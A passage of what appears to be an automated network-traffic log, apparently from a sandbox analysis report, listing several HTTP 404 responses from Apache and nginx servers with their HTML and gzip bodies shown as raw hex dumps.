3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:23:39 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 05 Dec 2024 17:23:42 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:23:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:23:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:23:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cd104a-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 05 Dec 2024 17:23:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cd104a-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 